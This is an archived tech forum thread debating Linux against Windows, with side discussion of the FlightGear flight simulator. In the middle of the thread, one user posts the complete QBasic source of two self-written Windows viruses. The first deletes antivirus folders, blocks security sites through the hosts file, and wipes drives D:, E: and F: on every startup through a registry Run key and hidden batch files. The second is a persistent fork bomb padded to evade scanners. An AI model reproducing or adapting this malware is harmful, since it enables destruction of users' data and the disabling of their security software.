Problems with Linux: Why it has no chance...

[oldmonk]

you can run it on windows too. JUst download fightgear sources and cygwin. Compile and you're ready to go.

or you can buy a set of 11 cds from the website with complied versions for win, mac and linux etc with complete world scenery.

Cheers

[anomaly]

flight gear program that u mentioned. Looks like its still under development. It might be good, but havent tried it yet. I don't think it is available on CD anywhere.

Borg, i do not think you are any close to realizing what flightgear actually is, and i do not even think you have visited the website

www.flightgear.org

YES, flightgear is still under development, and it will continue to remain so, because it is open source and many programmers are working on it.

Another thing, if you do not know anything about real life flying, please do not download it, as it is truly a simulator, and not a game.

It is available on CD's, you can visit the website and order a complete set, or a set with the scenery that you desire (you can select the areas you want) and the author will mail the number of cd's required (the complete set is 11 cd's) to you, charging you only for the cost of mailing and the cost of cd's.

If you are on broadband, you can certainly download it. And beat this, you can download the source code version or a pre-compiled executable for your specific OS.

Also, you can select the areas whose scenery you want to download.

So, i do not think it gets any better than this.

And yes,
I am a pilot, and i have had simulators from MSFS 5 to MSFS 2004. FLY II, Flight Unlimited, X-Plane etc.... but nothing beats Flightgear as far as flight realism is concerned. MSFS2004 does not even come close.

Try landing a 737 at Kathmandu in FS2004 - u really think its that easy?? Try it in Flightgear and you will know what a pilot exactly goes through... well almost.

ANd also, Flightgear has been specifically made for Linux, and runs best on it (i do not want to list this as one of the shortcomings of windows), The other flavours for Windows, etc, have been copmpiled by programmers other than the developer. Also, you cannot screw around with the source code in windows.

happy flying - incase you manage to get a good enough frame rate on windows - i managed only 4-8FPS - in linux it shot up to 30.

[borg]

Got that anamoly. Will try it out on both Win & Linu then. Downloaded the Windows installer already.

[oldmonk]

I am a pilot, and i have had simulators from MSFS 5 to MSFS 2004. FLY II, Flight Unlimited, X-Plane etc.... but nothing beats Flightgear as far as flight realism is concerned. MSFS2004 does not even come close.

WOW

when have you been to kathamandu???[/b]

[oldmonk]

sorry ....
just kidding.

[ra_rav]

Open source means openig your inside to others. And belive me this was the discussion I was searching for. I ageree to what every body says(in mixed terms). But I stand along with tux for definetly some other reasons. Till now everybody of us has been looking to USA(MS+Intel and many more co.) for our comuting needs. In India there is no development(except Simputer, Param etc. which are also depend on tech imports). But now we acn see the illeffects of this mess. There was a threat to Iran that it will be disconnected from the Internet. Then earlier also many nation(including India) were denied the right to get 128-bit encrypton on the basis of false security reasons. Linux and the open source can be the core-competency of India. A reply to the world about our self dependency. Even US can't misuse GPL to pin down us. That's why our respected president Dr. A P J Abdul Kalam support OSS. Instead of quarreling over which is better lets move for our own development.

[Satissh S]

How are people able to give life to oooooooooold threads??
@ra_rav: Did you see the date of last post? It's 1st September 2004

[it_waaznt_me]

"Good threads never die ... They are pruned .." - Rev. Batty

[desertwind]

Ya, there was an excellent discussion over there. This thread is a reference.

[cryptid]

ok let me give u few reason for hating Windows first off it is awefully expensive Windows XP professional cost around 7,000 Rs now and then u have to have a Good anti Virus that will come upto another 2000 /- for a 1 yr subscription from a well reputed AV company ( rmr when a new trojan virus or worm is found in the wild it will take atleast 2-3 days for the AV companies to release a patch for it, so for those 2-3 days u cant work on the net and then it will take another few weeks for MS to release a permanent fix or we might have to wait for a few months for the service pack to be released) and then u also need a Firewall the best in line is Zone Alarm which is not free so u will have to pay for it or resort to other illegal ways.SO over all if u have a look at it u have to pay seperatly for the OS the again for the Security and what not and still u will not be secure . let me tell u one simple way of testing Windows security and stability and comparing it to linux just try to run ur windows for few days without a firewall or a AV or anyother security software that does not come bundled with Windows and do all the normal things that u do like surf the net download songs check emails surf the digit forum vist porn sites search for serialskeys and cracks and then after few days like 2 or 3 days install a decent AV like Kaspersky or Bitdefender and scan ur entire system and check how badly ur infected then u will realise how good Linux is,,, let me tell u what happened to my computer when i did this test on my com my computer was hardly connected to the internet for 5 mins that i was already infected with 37 worms and backdoor trojans andten suddenly this screen showed up and said that the computer will shutdown in 60 secs and then when i rebooted i saw the Deadly Blue screen of death..

Bottom line Windows is the most insecure OS every made it hardly takes 2 to 10 lines of code to destroy the OS completly but in case of Linux if u have to infect it u will need the root password and without the root password nothing can be done so there is not chance for worms or trojans to exist for lInux few years back i had seens few root kits that could decrypt the root password but now they dont work,, so i hope u get the idea of how bad the security of windows & another thing i forgot to mention is about spyware and adware these sort of stuff can only be found on Windows there no ways Linux can be infected with such useless stuff

if u still feel Windows is better i will show u some really easy way to beat its security and also bypass all Avs (u need to have some programing knowledge to understand this)it hardly took me 1 or 2 hours to write this virus ( i am proof of concept virus writer i submit all my work to AV companies before i release there source codes on the Net)

Please dont compile these codes and spread i am not responsible for any damage done i am just puting these simple codes to show how bad windows security is
at this time i will show only 2 virii codes of mine

"Everyone has the right to freedom of opinion and expression;
this right includes freedom to hold opinions without interference
and to seek, receive and impart information and ideas througt
any media and regardless of frontiers."
Article 19 of "Universal Declaration of Human Rights"

..:ecimatoin.a::..
description:
- Invisible Batch file execution(no ugly black screen)
- Deletes Few known Anvtivirus direcotires(18)(Retro method)
- Edits hosts file and blocks few search engine sites and security related sites
- Randome set encryption for batch files generated
- Formats D: E: F: drives on every startup
- Autorun.inf payload (disables mouse and keyboard if Win9x and Shutsdown the computer if WinXP)
- over writes PandaAntivirus Registry key

CLS

PRINT "Please wait as requested files are Generated..."

OPEN "C:\WINDOWS\invi.vbs" FOR OUTPUT AS #1

PRINT #1, "CreateObject("; CHR$(34); "Wscript.shell"; CHR$(34); ").Run "; CHR$(34); CHR$(34); CHR$(34); CHR$(34); " & Wscript.Arguments(0) & "; CHR$(34); CHR$(34); CHR$(34); CHR$(34); ", 0, False"

CLOSE #1

RANDOMIZE TIMER

OPEN "C:\WINDOWS\$&$.bat" FOR OUTPUT AS #2

RAN = INT(RND * 2) + 97

a$ = CHR$(RAN)

RAN1 = INT(RND * 2) + 88

b$ = CHR$(RAN1)

PRINT #2, "@echo off"

PRINT #2, "if exist C:\WINDOWS\hosts goto 9xAV"

PRINT #2, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto NTAV"

PRINT #2, ":9xAV"

PRINT #2, "set " + a$ + "=ltree/y C:\Program Files\"

PRINT #2, "set " + b$ + "=de"

PRINT #2, "GOTO avlist"

PRINT #2, ":NTAV"

PRINT #2, "set " + a$ + "=S/Q C:\Progra~1\"

PRINT #2, "set " + b$ + "=rd/"

PRINT #2, "goto avlist"

PRINT #2, ":9xAV1"

PRINT #2, "set " + a$ + "=ee/y C:\WINDOWS\"

PRINT #2, "set " + b$ + "=tr"

PRINT #2, "Echo $>C:\WINDOWS\$.$"

PRINT #2, "goto avlist"

PRINT #2, ":NTAV1"

PRINT #2, "set " + a$ + "=d/s/q C:\WINDOWS\"

PRINT #2, "set " + b$ + "=r"

PRINT #2, "Echo $>C:\WINDOWS\$.$"

PRINT #2, "goto avlist"

PRINT #2, ":avlist_"

PRINT #2, "exit"

PRINT #2, ":avlist"

PRINT #2, "%" + b$ + "%%" + a$ + "%Micros~1\"

PRINT #2, "%" + b$ + "%%" + a$ + "%antiba*"

PRINT #2, "%" + b$ + "%%" + a$ + "%antivi*"

PRINT #2, "%" + b$ + "%%" + a$ + "%av*"

PRINT #2, "%" + b$ + "%%" + a$ + "%bit*"

PRINT #2, "%" + b$ + "%%" + a$ + "%cleanc*"

PRINT #2, "%" + b$ + "%%" + a$ + "%esafen\"

PRINT #2, "%" + b$ + "%%" + a$ + "%f-*"

PRINT #2, "%" + b$ + "%%" + a$ + "%fwin*"

PRINT #2, "%" + b$ + "%%" + a$ + "%kasper*"

PRINT #2, "%" + b$ + "%%" + a$ + "%mcaf*"

PRINT #2, "%" + b$ + "%%" + a$ + "%msav\"

PRINT #2, "%" + b$ + "%%" + a$ + "%norman\"

PRINT #2, "%" + b$ + "%%" + a$ + "%norton*"

PRINT #2, "%" + b$ + "%%" + a$ + "%pccill*"

PRINT #2, "%" + b$ + "%%" + a$ + "%pc-cill*"

PRINT #2, "%" + b$ + "%%" + a$ + "%trend*"

PRINT #2, "%" + b$ + "%%" + a$ + "%zone*"

PRINT #2, "if exist C:\WINDOWS\$.$ goto avlist_"

PRINT #2, "if exist C:\WINDOWS\hosts goto 9xAV1"

PRINT #2, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto NTAV1"

PRINT #2, "exit"

CLOSE #2

SHELL "Wscript C:\WINDOWS\INVI.VBS C:\WINDOWS\$&$.BAT"

RANDOMIZE TIMER

RAN13 = INT(RND * 2) + 99

sys$ = CHR$(RAN13)

Ran31 = INT(RND * 2) + 87

ssy$ = CHR$(Ran31)

RAN7 = INT(RND * 2) + 104

t$ = CHR$(RAN7)

OPEN "C:\WINDOWS\system32\syslogz.bat" FOR OUTPUT AS #3

PRINT #3, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto TnT"

PRINT #3, "if exist C:\WINDOWS\hosts goto x9X"

PRINT #3, ":TnT"

PRINT #3, "set " + sys$ + "=r"

PRINT #3, "set " + ssy$ + "=d/s/"

PRINT #3, "set " + CHR$(198) + "=q"

PRINT #3, "goto list"

PRINT #3, ":x9X"

PRINT #3, "set " + sys$ + "=de"

PRINT #3, "set " + ssy$ + "=lt"

PRINT #3, "set " + CHR$(198) + "=ree/y"

PRINT #3, "goto list"

PRINT #3, ":list"

PRINT #3, "if exist D: %" + sys$ + "%" + "%" + ssy$ + "%" + "%" + CHR$(198) + "% D:"

PRINT #3, "if exist E: %" + sys$ + "%" + "%" + ssy$ + "%" + "%" + CHR$(198) + "% E:"

PRINT #3, "if exist F: %" + sys$ + "%" + "%" + ssy$ + "%" + "%" + CHR$(198) + "% F:"

PRINT #3, "exit"

CLOSE #3

OPEN "C:\%.reg" FOR OUTPUT AS #4

PRINT #4, "REGEDIT4"

PRINT #4, ""

PRINT #4, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"

PRINT #4, CHR$(34); "APVXDWIN"; CHR$(34); "="; CHR$(34); "wscript C:\\WINDOWS\\INVI.VBS C:\\WINDOWS\\system32\\SYSLOGZ.BAT"; CHR$(34)

CLOSE #4

SHELL "regedit/s C:\%.reg"

OPEN "C:\WINDOWS\hfk.bat" FOR OUTPUT AS #8

PRINT #8, "set spit=Echo"

PRINT #8, "if exist C:\WINDOWS\system32\drivers\etc\hosts goto TnT"

PRINT #8, "if exist C:\WINDOWS\hosts goto z9X"

PRINT #8, ":TnT"

PRINT #8, "set " + ssy$ + "=C:\WINDOWS\system32\drivers\etc\hosts"

PRINT #8, "goto hlst"

PRINT #8, ":z9X"

PRINT #8, "set " + ssy$ + "=C:\WINDOWS\hosts"

PRINT #8, "goto hlst"

PRINT #8, ":hlst"

PRINT #8, "set " + t$ + "=127.0.0.1"

PRINT #8, "%spit% www.google.co.in %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.google.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.google.co.uk %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.google.co.kr %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.askjeeves.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.kaspersky.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.kasperskylabs.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.norton.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.microsoft.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.bullguard.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.bitdefender.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% us.mcafee.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.mcafee.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.symantec.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% antivirus.pbnet.ru %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.download.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.altavesta.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% search.yahoo.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.softpedia.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.sophos.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% ftp.sophos.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.f-secure.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% securityresponce.symantec.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% liveupdate.symantec.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% updates.symantec.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% download.mcafee.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.trendmicro.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "%spit% www.microsoft.com %" + t$ + "%>>%" + ssy$ + "%"

PRINT #8, "exit"

CLOSE #8

SHELL "wscript C:\WINDOWS\INVI.VBS C:\WINDOWS\HFK.BAT"

OPEN "C:\WINDOWS\SYS.BAT" FOR APPEND AS #6

PRINT #6, "if %OS%==Windows_NT goto st"

PRINT #6, "rundll32 mouse,disable"

PRINT #6, "rundll32 keyboard,disable"

PRINT #6, "exit"

PRINT #6, ":st"

PRINT #6, "shutdown -s -f -t 03 -c "; CHR$(34); "Windows as usual has performed an illegal operation"; CHR$(34)

CLOSE #6

OPEN "C:\Autorun.inf" FOR OUTPUT AS #7

PRINT #7, "[autorun]"

PRINT #7, "open=wscript C:\WINDOWS\INVI.VBS C:\WINDOWS\SYS.BAT"

CLOSE #7

SHELL "attrib +H +R +A C:\Autorun.inf"

SHELL "mkdir C:\WINDOWS\" + CHR$(167) + CHR$(198) + CHR$(167) + CHR$(198)

SHELL "subst K: C:\WINDOWS\" + CHR$(167) + CHR$(198) + CHR$(167) + CHR$(198)

SHELL "mkdir C:\WINDOWS\" + CHR$(165) + CHR$(198) + CHR$(165) + CHR$(198)

SHELL "subst W: C:\WINDOWS\" + CHR$(165) + CHR$(198) + CHR$(165) + CHR$(198)

..::QuickFlood::..
Description:
it will flood ur screen with infinite number of MS-Dos screens & eats all the available RAM and wil result in system crash within 3-5 seconds on a old P3 933 MHz computer and will crash even faster on fast P4 Systems
the starting few lines of code are just fake bytes to bypass AV scans

OPEN "C:\WINDOWS\hro.bat" FOR OUTPUT AS #1

PRINT #1, "REM isdfnkjns:cryptid:sjkdfh;kjshfhb;kbdjg;jsdhf;jhsdfg;hfgh "

PRINT #1, "Rem fjhjhdfgljdfhgjkhsflfg:cryptid:ldflgjhdflghsldfkhglfdksh "

PRINT #1, "Rem urytuieryt:cryptid:uerytuievbvvgdhfgjgjdfgjdfhglrfhglfdy "

PRINT #1, "rem fghdfgjhfgjkghfgjhdfgj:cryptid:hgdfghfdgdfhgdjfgfsgfgkkf "

PRINT #1, "ReM cvbnmbvnmc:cryptid:bkhfdskjhsdfriutoiw[posuhfksjdfjkshkf "

PRINT #1, "rEM qtwueytqweyuytoiyuoyiu:cryptid:jhsdfsdfjsdjhfgjsdgfjjgsy "

PRINT #1, "REm ytioyeroit:cryptid:erytioeryihsdfjksdhkhskfjhskdjfhksdhf "

PRINT #1, "rem sdfkjshdkfjhsdjfkhskdh:cryptid:dhfksdfkhsdkfhsdfhksdskdj "

PRINT #1, "start %0"

PRINT #1, "%0"

CLOSE #1

OPEN "C:\WINDOWS\GUI.reg" FOR OUTPUT AS #2

PRINT #2, "REGEDIT4"

PRINT #2, ""

PRINT #2, "[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"

PRINT #2, CHR$(34); "cRyPtID"; CHR$(34); "="; CHR$(34); "C:\\WINDOWS\\hro.bat"; CHR$(34)

CLOSE #2

OPEN "C:\WINDOWS\act_Gui.bat" FOR OUTPUT AS #3

PRINT #3, "@echo off"

PRINT #3, "regedit/s C:\WINDOWS\gui.reg"

CLOSE #3

SHELL "C:\WINDOWS\act_Gui.bat"

KILL "C:\WINDOWS\GUI.REG"

KILL "C:\WINDOWS\act_Gui.bat"

i my self have written over 20 malware for windows & most of them are polymorphic and properly encrypted so that it would not be detected by AVs, and it didnt take more that 30 mins on the avg to write them i dont do this to cause harm to ppl, rmr i am only proof of concept virus writer i never spread my creations & submit my work to AV companies before putting them up on the to share it with ppl who are intrested in such things

[praka123]

Wingdows Users Learn from the above Post

[vignesh]

Ya...

[lywyre]

Please don't say that Windows is user friendly, it is idiot friendly, it is idiot proof, that is all. But anyone can easily by pass its security limitations in just a matter of time.

[cryptid]

Idiot friendly is the rite word to be used thanx lywyre

[adityaksharma]

i agree..........windows is idiot friendly...mac os is user friendly .......ever since i installed OS x 10.4 tiger on my pc i havent gone back to windows........... and btw......i use FC3 for otherwise..............windows ..........nah

[kumarmohit]

Originally Posted by borg

Microsoft comes under heavy criticism regularly, easpecially from Linux buffs. But recent polls on this forum clearly shows that MS is more popular than Linux (atleast for the users on this forum). So why shouldn't Windows users pour some criticism on Linux?. Linux is by no means perfect or even close to perfect. That is why so few people use Linux. I will post a few reasons a to why, I believe, Linux hasn't caught on & why it simply has no chance whatsoever against Windows (atleast for now)

1. Totally unintiutive
I believe this is the main reason. Using Linux makes me feel that the designers just didn't want to make it usable by everyone. Some of the tasks are ridiculously difficult to go about. It sometimes seems that it was al deliberate. Though in recent times a lot has improved, using Linux still involves a lot of command lining, which is unacceptable for a modern computer user. mean who wants to type lousy commands in the command line in this age of the GUI???.

The learning curve that Linux provides is too steep for most people. There is litlle chance you will figure out things in Linux by yourselves. You either have to be trained by someone or read a book to use Linux. Unlike Windows or Macintosh, where you can figure things out by yourself, this is not possible many of a times in Linux.

Just take an example of installing a program in Linux. Many programs in linux come in the form of source code!!!. So you have to know how to compile the whole thing & run it. And again you have to know how to use the command line. If you don't know the specific command required, yo are out of luck. There is little chance of figuring out the command. You either know the command or you don't. And even if you have an RPM file, you still need to use the command prompt. Just take look at the following command-

To install, you need to type the following in the promt-
rpm -i [filename]

You can see that there is absolutely no way of figuring things out in linux. You either know the command or you don't. this is an old & outdated way of computing & that is to say the least.

Now compare that with Windows or the Mac. Both do have their learning curves as well, but they are quite shallow & anyone with the basic knowledge of computers can get by. Installing a program is a very easy process 7 the computer just walks you though the process in a step by step manner. Which is very good. Linux IS moving in this direction. You can just double click the rpm file to install the programs in Linux too, but still it is quite rudamentary & it doens't even tell you where the whole thing was installed. Very outdated way of computing.

Installing programs is one thing, installing drivers is quite another. I still haven't figured out how to do it.

2. Lack of commmercial applications

Most of the programs available for Linux are opensource, freeware & stuff like that. Many of them in beta stage. You mostly have alternatives for Linus & very rarely the original programs. people need the original stuff, not some alternative. For ex. for CD writing I need Nero & not some alternative, for playing music I need Winamp & not some winamp wannabe, etc etc. But Linux is full of wannabes & lookalikes & very rarely the real thing. It would be acceptable to use wannabes occasionally, but having to use them all the time is not acceptable, atleast to me.

And what about things like games?. I don't even need to mention this. Everyone knows where Linux stands in the gaming scene. Its a nobody.


3. Lack of standards
progam development is also hampered by the fact the there is no such thing as THE LINUX. You have Red Hat, Mandrake, Suse, etc etc all coming up with their own versions. So a program developed for one may not work on the other without modifications. this leads to so much confusion & chaos. We have enough confusion in computers already & no one wants more.

4. No support
Even if commercial companies develop Linux versions of their software, no one wants to provide technical support for Linux. For example, Real developed a version of its realplayer software for Linux, but doesn't support it. Similarly yahoo developed Yahoo messenger, but the program is so outdated compared to the Windows version. Most of the stuff on linux is commmunity supported, which may not suit everyone's needs.

I will give more points soon.

If u think linux is not good lookin just go and look at some screeshots at

http://osdir.com/

[kumarmohit]

1. MS Flight Simulator - tell me any other flight simulator which even comes close to this one. MS Flight Simulator is the best flight sim period. there are so many features on this one that no one else in the business has. Microsoft games are some of the best. They are not copies.

Did u get this months fast track book I has some thing called flightgear in it

3. MS makes some of the best input devices, whether they be keyboards & mice or gamepads. They are simply the best.

Are u talkin abyt HW or Sw

4. MS was also the firt to come up with the CD autorun feature. You just insert the CD, the program automatically starts. No one else had this prior to MS. (In Linux, even after inserting the disc, you have to manually mount it to even read it, lol)

Not now in linux either heard of Supermount